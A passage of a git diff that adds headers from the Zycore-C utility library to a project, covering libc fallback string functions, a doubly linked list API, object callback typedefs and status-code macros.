ZYAN_PUTS puts +#define ZYAN_SCANF scanf +#define ZYAN_SSCANF sscanf +#define ZYAN_VSNPRINTF vsnprintf + +/** + * Defines the `ZyanFile` datatype. + */ +typedef FILE ZyanFile; + +#define ZYAN_STDIN stdin +#define ZYAN_STDOUT stdout +#define ZYAN_STDERR stderr + +/* ---------------------------------------------------------------------------------------------- */ +/* stdlib.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include +#define ZYAN_CALLOC calloc +#define ZYAN_FREE free +#define ZYAN_MALLOC malloc +#define ZYAN_REALLOC realloc + +/* ---------------------------------------------------------------------------------------------- */ +/* string.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include +#define ZYAN_MEMCHR memchr +#define ZYAN_MEMCMP memcmp +#define ZYAN_MEMCPY memcpy +#define ZYAN_MEMMOVE memmove +#define ZYAN_MEMSET memset +#define ZYAN_STRCAT strcat +#define ZYAN_STRCHR strchr +#define ZYAN_STRCMP strcmp +#define ZYAN_STRCOLL strcoll +#define ZYAN_STRCPY strcpy +#define ZYAN_STRCSPN strcspn +#define ZYAN_STRLEN strlen +#define ZYAN_STRNCAT strncat +#define ZYAN_STRNCMP strncmp +#define ZYAN_STRNCPY strncpy +#define ZYAN_STRPBRK strpbrk +#define ZYAN_STRRCHR strrchr +#define ZYAN_STRSPN strspn +#define ZYAN_STRSTR strstr +#define ZYAN_STRTOK strtok +#define ZYAN_STRXFRM strxfrm + +/* ---------------------------------------------------------------------------------------------- */ + +#else // if ZYAN_NO_LIBC + +/* ============================================================================================== */ +/* No LibC available, use our own functions */ +/* ============================================================================================== */ + +#include +#include + +/* + * These implementations are by no means optimized and will be outperformed by pretty much any + * libc implementation out there. We do not aim towards providing competetive implementations here, + * but towards providing a last resort fallback for environments without a working libc. + */ + +/* ---------------------------------------------------------------------------------------------- */ +/* stdarg.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#if defined(ZYAN_MSVC) || defined(ZYAN_ICC) + +/** + * Defines the `ZyanVAList` datatype. + */ +typedef char* ZyanVAList; + +# define ZYAN_VA_START __crt_va_start +# define ZYAN_VA_ARG __crt_va_arg +# define ZYAN_VA_END __crt_va_end +# define ZYAN_VA_COPY(destination, source) ((destination) = (source)) + +#elif defined(ZYAN_GNUC) + +/** + * Defines the `ZyanVAList` datatype. + */ +typedef __builtin_va_list ZyanVAList; + +# define ZYAN_VA_START(v, l) __builtin_va_start(v, l) +# define ZYAN_VA_END(v) __builtin_va_end(v) +# define ZYAN_VA_ARG(v, l) __builtin_va_arg(v, l) +# define ZYAN_VA_COPY(d, s) __builtin_va_copy(d, s) + +#else +# error "Unsupported compiler for no-libc mode." +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* stdio.h */ +/* ---------------------------------------------------------------------------------------------- */ + +// ZYAN_INLINE int ZYAN_VSNPRINTF (char* const buffer, ZyanUSize const count, +// char const* const format, ZyanVAList args) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(buffer); +// ZYAN_UNUSED(count); +// ZYAN_UNUSED(format); +// ZYAN_UNUSED(args); +// return ZYAN_NULL; +// } + +/* ---------------------------------------------------------------------------------------------- */ +/* stdlib.h */ +/* ---------------------------------------------------------------------------------------------- */ + +// ZYAN_INLINE void* ZYAN_CALLOC(ZyanUSize nitems, ZyanUSize size) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(nitems); +// ZYAN_UNUSED(size); +// return ZYAN_NULL; +// } +// +// ZYAN_INLINE void ZYAN_FREE(void *p) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(p); +// } +// +// ZYAN_INLINE void* ZYAN_MALLOC(ZyanUSize n) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(n); +// return ZYAN_NULL; +// } +// +// ZYAN_INLINE void* ZYAN_REALLOC(void* p, ZyanUSize n) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(p); +// ZYAN_UNUSED(n); +// return ZYAN_NULL; +// } + +/* ---------------------------------------------------------------------------------------------- */ +/* string.h */ +/* ---------------------------------------------------------------------------------------------- */ + +ZYAN_INLINE void* ZYAN_MEMCHR(const void* str, int c, ZyanUSize n) +{ + const ZyanU8* p = (ZyanU8*)str; + while (n--) + { + if (*p != (ZyanU8)c) + { + p++; + } else + { + return (void*)p; + } + } + return 0; +} + +ZYAN_INLINE int ZYAN_MEMCMP(const void* s1, const void* s2, ZyanUSize n) +{ + const ZyanU8* p1 = s1, *p2 = s2; + while (n--) + { + if (*p1 != *p2) + { + return *p1 - *p2; + } + p1++, p2++; + } + return 0; +} + +ZYAN_INLINE void* ZYAN_MEMCPY(void* dst, const void* src, ZyanUSize n) +{ + volatile ZyanU8* dp = dst; + const ZyanU8* sp = src; + while (n--) + { + *dp++ = *sp++; + } + return dst; +} + +ZYAN_INLINE void* ZYAN_MEMMOVE(void* dst, const void* src, ZyanUSize n) +{ + volatile ZyanU8* pd = dst; + const ZyanU8* ps = src; + if (ps < pd) + { + for (pd += n, ps += n; n--;) + { + *--pd = *--ps; + } + } else + { + while (n--) + { + *pd++ = *ps++; + } + } + return dst; +} + +ZYAN_INLINE void* ZYAN_MEMSET(void* dst, int val, ZyanUSize n) +{ + volatile ZyanU8* p = dst; + while (n--) + { + *p++ = (unsigned char)val; + } + return dst; +} + +ZYAN_INLINE char* ZYAN_STRCAT(char* dest, const char* src) +{ + char* ret = dest; + while (*dest) + { + dest++; + } + while ((*dest++ = *src++)); + return ret; +} + +ZYAN_INLINE char* ZYAN_STRCHR(const char* s, int c) +{ + while (*s != (char)c) + { + if (!*s++) + { + return 0; + } + } + return (char*)s; +} + +ZYAN_INLINE int ZYAN_STRCMP(const char* s1, const char* s2) +{ + while (*s1 && (*s1 == *s2)) + { + s1++, s2++; + } + return *(const ZyanU8*)s1 - *(const ZyanU8*)s2; +} + +ZYAN_INLINE int ZYAN_STRCOLL(const char *s1, const char *s2) +{ + // TODO: Implement + + ZYAN_UNUSED(s1); + ZYAN_UNUSED(s2); + + return 0; +} + +ZYAN_INLINE char* ZYAN_STRCPY(char* dest, const char* src) +{ + char* ret = dest; + while ((*dest++ = *src++)); + return ret; +} + +ZYAN_INLINE ZyanUSize ZYAN_STRCSPN(const char *s1, const char *s2) +{ + ZyanUSize ret = 0; + while (*s1) + { + if (ZYAN_STRCHR(s2, *s1)) + { + return ret; + } + s1++, ret++; + } + return ret; +} + +ZYAN_INLINE ZyanUSize ZYAN_STRLEN(const char* str) +{ + const char* p = str; + while (*str) + { + ++str; + } + return str - p; +} + +ZYAN_INLINE char* ZYAN_STRNCAT(char* dest, const char* src, ZyanUSize n) +{ + char* ret = dest; + while (*dest) + { + dest++; + } + while (n--) + { + if (!(*dest++ = *src++)) + { + return ret; + } + } + *dest = 0; + return ret; +} + +ZYAN_INLINE int ZYAN_STRNCMP(const char* s1, const char* s2, ZyanUSize n) +{ + while (n--) + { + if (*s1++ != *s2++) + { + return *(unsigned char*)(s1 - 1) - *(unsigned char*)(s2 - 1); + } + } + return 0; +} + +ZYAN_INLINE char* ZYAN_STRNCPY(char* dest, const char* src, ZyanUSize n) +{ + char* ret = dest; + do + { + if (!n--) + { + return ret; + } + } while ((*dest++ = *src++)); + while (n--) + { + *dest++ = 0; + } + return ret; +} + +ZYAN_INLINE char* ZYAN_STRPBRK(const char* s1, const char* s2) +{ + while (*s1) + { + if(ZYAN_STRCHR(s2, *s1++)) + { + return (char*)--s1; + } + } + return 0; +} + +ZYAN_INLINE char* ZYAN_STRRCHR(const char* s, int c) +{ + char* ret = 0; + do + { + if (*s == (char)c) + { + ret = (char*)s; + } + } while (*s++); + return ret; +} + +ZYAN_INLINE ZyanUSize ZYAN_STRSPN(const char* s1, const char* s2) +{ + ZyanUSize ret = 0; + while (*s1 && ZYAN_STRCHR(s2, *s1++)) + { + ret++; + } + return ret; +} + +ZYAN_INLINE char* ZYAN_STRSTR(const char* s1, const char* s2) +{ + const ZyanUSize n = ZYAN_STRLEN(s2); + while (*s1) + { + if (!ZYAN_MEMCMP(s1++, s2, n)) + { + return (char*)(s1 - 1); + } + } + return 0; +} + +ZYAN_INLINE char* ZYAN_STRTOK(char* str, const char* delim) +{ + static char* p = 0; + if (str) + { + p = str; + } else + if (!p) + { + return 0; + } + str = p + ZYAN_STRSPN(p, delim); + p = str + ZYAN_STRCSPN(str, delim); + if (p == str) + { + return p = 0; + } + p = *p ? *p = 0, p + 1 : 0; + return str; +} + +ZYAN_INLINE ZyanUSize ZYAN_STRXFRM(char* dest, const char* src, ZyanUSize n) +{ + const ZyanUSize n2 = ZYAN_STRLEN(src); + if (n > n2) + { + ZYAN_STRCPY(dest, src); + } + return n2; +} + +/* ---------------------------------------------------------------------------------------------- */ + +#endif + +#endif + +/* ============================================================================================== */ + +#endif /* ZYCORE_LIBC_H */ diff --git a/Theodosius/Zycore/List.h b/Theodosius/Zycore/List.h new file mode 100644 index 0000000..015a324 --- /dev/null +++ b/Theodosius/Zycore/List.h @@ -0,0 +1,574 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements a doubly linked list. + */ + +#ifndef ZYCORE_LIST_H +#define ZYCORE_LIST_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanListNode` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanListNode_ +{ + /** + * A pointer to the previous list node. + */ + struct ZyanListNode_* prev; + /** + * A pointer to the next list node. + */ + struct ZyanListNode_* next; +} ZyanListNode; + +/** + * Defines the `ZyanList` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanList_ +{ + /** + * The memory allocator. + */ + ZyanAllocator* allocator; + /** + * The current number of elements in the list. + */ + ZyanUSize size; + /** + * The size of a single element in bytes. + */ + ZyanUSize element_size; + /** + * The element destructor callback. + */ + ZyanMemberProcedure destructor; + /** + * The head node. + */ + ZyanListNode* head; + /** + * The tail node. + */ + ZyanListNode* tail; + /** + * The data buffer. + * + * Only used for instances created by `ZyanListInitCustomBuffer`. + */ + void* buffer; + /** + * The data buffer capacity (number of bytes). + * + * Only used for instances created by `ZyanListInitCustomBuffer`. + */ + ZyanUSize capacity; + /** + * The first unused node. + * + * When removing a node, the first-unused value is updated to point at the removed node and the + * next node of the removed node will be updated to point at the old first-unused node. + * + * When appending the memory of the first unused-node is recycled to store the new node. The + * value of the first-unused node is then updated to point at the reused nodes next node. + * + * If the first-unused value is `ZYAN_NULL`, any new node will be "allocated" behind the tail + * node (if there is enough space left in the fixed size buffer). + * + * Only used for instances created by `ZyanListInitCustomBuffer`. + */ + ZyanListNode* first_unused; +} ZyanList; + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines an uninitialized `ZyanList` instance. + */ +#define ZYAN_LIST_INITIALIZER \ + { \ + /* allocator */ ZYAN_NULL, \ + /* size */ 0, \ + /* element_size */ 0, \ + /* head */ ZYAN_NULL, \ + /* destructor */ ZYAN_NULL, \ + /* tail */ ZYAN_NULL, \ + /* buffer */ ZYAN_NULL, \ + /* capacity */ 0, \ + /* first_unused */ ZYAN_NULL \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the data value of the given `node`. + * + * @param type The desired value type. + * @param node A pointer to the `ZyanListNode` struct. + * + * @result The data value of the given `node`. + * + * Note that this function is unsafe and might dereference a null-pointer. + */ +#ifdef __cplusplus +#define ZYAN_LIST_GET(type, node) \ + (*reinterpret_cast(ZyanListGetNodeData(node))) +#else +#define ZYAN_LIST_GET(type, node) \ + (*(const type*)ZyanListGetNodeData(node)) +#endif + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constructor and destructor */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanList` instance. + * + * @param list A pointer to the `ZyanList` instance. + * @param element_size The size of a single element in bytes. + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * + * @return A zyan status code. + * + * The memory for the list elements is dynamically allocated by the default allocator. + * + * Finalization with `ZyanListDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanListInit(ZyanList* list, ZyanUSize element_size, + ZyanMemberProcedure destructor); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanList` instance and sets a custom `allocator`. + * + * @param list A pointer to the `ZyanList` instance. + * @param element_size The size of a single element in bytes. + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * + * @return A zyan status code. + * + * Finalization with `ZyanListDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanListInitEx(ZyanList* list, ZyanUSize element_size, + ZyanMemberProcedure destructor, ZyanAllocator* allocator); + +/** + * Initializes the given `ZyanList` instance and configures it to use a custom user + * defined buffer with a fixed size. + * + * @param list A pointer to the `ZyanList` instance. + * @param element_size The size of a single element in bytes. + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * @param buffer A pointer to the buffer that is used as storage for the elements. + * @param capacity The maximum capacity (number of bytes) of the buffer including the + * space required for the list-nodes. + * + * @return A zyan status code. + * + * The buffer capacity required to store `n` elements of type `T` is be calculated by: + * `size = n * sizeof(ZyanListNode) + n * sizeof(T)` + * + * Finalization is not required for instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanListInitCustomBuffer(ZyanList* list, ZyanUSize element_size, + ZyanMemberProcedure destructor, void* buffer, ZyanUSize capacity); + +/** + * Destroys the given `ZyanList` instance. + * + * @param list A pointer to the `ZyanList` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListDestroy(ZyanList* list); + +/* ---------------------------------------------------------------------------------------------- */ +/* Duplication */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanList` instance by duplicating an existing list. + * + * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. + * @param source A pointer to the source list. + * + * @return A zyan status code. + * + * The memory for the list is dynamically allocated by the default allocator. + * + * Finalization with `ZyanListDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanListDuplicate(ZyanList* destination, + const ZyanList* source); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanList` instance by duplicating an existing list and sets a + * custom `allocator`. + * + * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. + * @param source A pointer to the source list. + * @param allocator A pointer to a `ZyanAllocator` instance. + * + * @return A zyan status code. + + * Finalization with `ZyanListDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanListDuplicateEx(ZyanList* destination, const ZyanList* source, + ZyanAllocator* allocator); + +/** + * Initializes a new `ZyanList` instance by duplicating an existing list and + * configures it to use a custom user defined buffer with a fixed size. + * + * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. + * @param source A pointer to the source list. + * @param buffer A pointer to the buffer that is used as storage for the elements. + * @param capacity The maximum capacity (number of bytes) of the buffer including the + * space required for the list-nodes. + + * This function will fail, if the capacity of the buffer is not sufficient + * to store all elements of the source list. + * + * @return A zyan status code. + * + * The buffer capacity required to store `n` elements of type `T` is be calculated by: + * `size = n * sizeof(ZyanListNode) + n * sizeof(T)` + * + * Finalization is not required for instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanListDuplicateCustomBuffer(ZyanList* destination, + const ZyanList* source, void* buffer, ZyanUSize capacity); + +/* ---------------------------------------------------------------------------------------------- */ +/* Item access */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns a pointer to the first `ZyanListNode` struct of the given list. + * + * @param list A pointer to the `ZyanList` instance. + * @param node Receives a pointer to the first `ZyanListNode` struct of the list. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetHeadNode(const ZyanList* list, const ZyanListNode** node); + +/** + * Returns a pointer to the last `ZyanListNode` struct of the given list. + * + * @param list A pointer to the `ZyanList` instance. + * @param node Receives a pointer to the last `ZyanListNode` struct of the list. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetTailNode(const ZyanList* list, const ZyanListNode** node); + +/** + * Receives a pointer to the previous `ZyanListNode` struct linked to the passed one. + * + * @param node Receives a pointer to the previous `ZyanListNode` struct linked to the passed + * one. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetPrevNode(const ZyanListNode** node); + +/** + * Receives a pointer to the next `ZyanListNode` struct linked to the passed one. + * + * @param node Receives a pointer to the next `ZyanListNode` struct linked to the passed one. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetNextNode(const ZyanListNode** node); + +/** + * Returns a constant pointer to the data of the given `node`. + * + * @param node A pointer to the `ZyanListNode` struct. + * + * @return A constant pointer to the the data of the given `node` or `ZYAN_NULL`, if an error + * occured. + * + * Take a look at `ZyanListGetNodeDataEx`, if you need a function that returns a zyan status code. + */ +ZYCORE_EXPORT const void* ZyanListGetNodeData(const ZyanListNode* node); + +/** + * Returns a constant pointer to the data of the given `node`.. + * + * @param node A pointer to the `ZyanListNode` struct. + * @param value Receives a constant pointer to the data of the given `node`. + * + * Take a look at `ZyanListGetNodeData`, if you need a function that directly returns a pointer. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetNodeDataEx(const ZyanListNode* node, const void** value); + +/** + * Returns a mutable pointer to the data of the given `node`. + * + * @param node A pointer to the `ZyanListNode` struct. + * + * @return A mutable pointer to the the data of the given `node` or `ZYAN_NULL`, if an error + * occured. + * + * Take a look at `ZyanListGetPointerMutableEx` instead, if you need a function that returns a + * zyan status code. + */ +ZYCORE_EXPORT void* ZyanListGetNodeDataMutable(const ZyanListNode* node); + +/** + * Returns a mutable pointer to the data of the given `node`.. + * + * @param node A pointer to the `ZyanListNode` struct. + * @param value Receives a mutable pointer to the data of the given `node`. + * + * Take a look at `ZyanListGetNodeDataMutable`, if you need a function that directly returns a + * pointer. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetNodeDataMutableEx(const ZyanListNode* node, void** value); + +/** + * Assigns a new data value to the given `node`. + * + * @param list A pointer to the `ZyanList` instance. + * @param node A pointer to the `ZyanListNode` struct. + * @param value The value to assign. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListSetNodeData(const ZyanList* list, const ZyanListNode* node, + const void* value); + +/* ---------------------------------------------------------------------------------------------- */ +/* Insertion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Adds a new `item` to the end of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param item A pointer to the item to add. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListPushBack(ZyanList* list, const void* item); + +/** + * Adds a new `item` to the beginning of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param item A pointer to the item to add. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListPushFront(ZyanList* list, const void* item); + +/** + * Constructs an `item` in-place at the end of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param item Receives a pointer to the new item. + * @param constructor The constructor callback or `ZYAN_NULL`. The new item will be in + * undefined state, if no constructor was passed. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListEmplaceBack(ZyanList* list, void** item, + ZyanMemberFunction constructor); + +/** + * Constructs an `item` in-place at the beginning of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param item Receives a pointer to the new item. + * @param constructor The constructor callback or `ZYAN_NULL`. The new item will be in + * undefined state, if no constructor was passed. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListEmplaceFront(ZyanList* list, void** item, + ZyanMemberFunction constructor); + +/* ---------------------------------------------------------------------------------------------- */ +/* Deletion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Removes the last element of the list. + * + * @param list A pointer to the `ZyanList` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListPopBack(ZyanList* list); + +/** + * Removes the firstelement of the list. + * + * @param list A pointer to the `ZyanList` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListPopFront(ZyanList* list); + +/** + * Removes the given `node` from the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param node A pointer to the `ZyanListNode` struct. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListRemove(ZyanList* list, const ZyanListNode* node); + +/** + * Removes multiple nodes from the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param first A pointer to the first node. + * @param last A pointer to the last node. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListRemoveRange(ZyanList* list, const ZyanListNode* first, + const ZyanListNode* last); + +/** + * Erases all elements of the list. + * + * @param list A pointer to the `ZyanList` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListClear(ZyanList* list); + +/* ---------------------------------------------------------------------------------------------- */ +/* Searching */ +/* ---------------------------------------------------------------------------------------------- */ + +// TODO: + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Resizes the given `ZyanList` instance. + * + * @param list A pointer to the `ZyanList` instance. + * @param size The new size of the list. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListResize(ZyanList* list, ZyanUSize size); + +/** + * Resizes the given `ZyanList` instance. + * + * @param list A pointer to the `ZyanList` instance. + * @param size The new size of the list. + * @param initializer A pointer to a value to be used as initializer for new items. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListResizeEx(ZyanList* list, ZyanUSize size, const void* initializer); + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current size of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param size Receives the size of the list. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetSize(const ZyanList* list, ZyanUSize* size); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_VECTOR_H */ diff --git a/Theodosius/Zycore/Object.h b/Theodosius/Zycore/Object.h new file mode 100644 index 0000000..d015cef --- /dev/null +++ b/Theodosius/Zycore/Object.h @@ -0,0 +1,84 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines some generic object-related datatypes. + */ + +#ifndef ZYCORE_OBJECT_H +#define ZYCORE_OBJECT_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanMemberProcedure` function prototype. + * + * @param object A pointer to the object. + */ +typedef void (*ZyanMemberProcedure)(void* object); + +/** + * Defines the `ZyanConstMemberProcedure` function prototype. + * + * @param object A pointer to the object. + */ +typedef void (*ZyanConstMemberProcedure)(const void* object); + +/** + * Defines the `ZyanMemberFunction` function prototype. + * + * @param object A pointer to the object. + * + * @return A zyan status code. + */ +typedef ZyanStatus (*ZyanMemberFunction)(void* object); + +/** + * Defines the `ZyanConstMemberFunction` function prototype. + * + * @param object A pointer to the object. + * + * @return A zyan status code. + */ +typedef ZyanStatus (*ZyanConstMemberFunction)(const void* object); + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_OBJECT_H */ diff --git a/Theodosius/Zycore/Status.h b/Theodosius/Zycore/Status.h new file mode 100644 index 0000000..b0d7fdf --- /dev/null +++ b/Theodosius/Zycore/Status.h @@ -0,0 +1,287 @@ +/*************************************************************************************************** + + Zyan Core Library (Zyan-C) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Status code definitions and check macros. + */ + +#ifndef ZYCORE_STATUS_H +#define ZYCORE_STATUS_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanStatus` data type. + */ +typedef ZyanU32 ZyanStatus; + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Definition */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines a zyan status code. + * + * @param error `1`, if the status code signals an error or `0`, if not. + * @param module The module id. + * @param code The actual code. + * + * @return The zyan status code. + */ +#define ZYAN_MAKE_STATUS(error, module, code) \ + (ZyanStatus)((((error) & 0x01u) << 31u) | (((module) & 0x7FFu) << 20u) | ((code) & 0xFFFFFu)) + +/* ---------------------------------------------------------------------------------------------- */ +/* Checks */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Checks if a zyan operation was successful. + * + * @param status The zyan status-code to check. + * + * @return `ZYAN_TRUE`, if the operation succeeded or `ZYAN_FALSE`, if not. + */ +#define ZYAN_SUCCESS(status) \ + (!((status) & 0x80000000u)) + +/** + * Checks if a zyan operation failed. + * + * @param status The zyan status-code to check. + * + * @return `ZYAN_TRUE`, if the operation failed or `ZYAN_FALSE`, if not. + */ +#define ZYAN_FAILED(status) \ + ((status) & 0x80000000u) + +/** + * Checks if a zyan operation was successful and returns with the status-code, if not. + * + * @param status The zyan status-code to check. + */ +#define ZYAN_CHECK(status) \ + do \ + { \ + const ZyanStatus status_047620348 = (status); \ + if (!ZYAN_SUCCESS(status_047620348)) \ + { \ + return status_047620348; \ + } \ + } while (0) + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + + /** + * Returns the module id of a zyan status-code. + * + * @param status The zyan status-code. + * + * @return The module id of the zyan status-code. + */ +#define ZYAN_STATUS_MODULE(status) \ + (((status) >> 20) & 0x7FFu) + + /** + * Returns the code of a zyan status-code. + * + * @param status The zyan status-code. + * + * @return The code of the zyan status-code. + */ 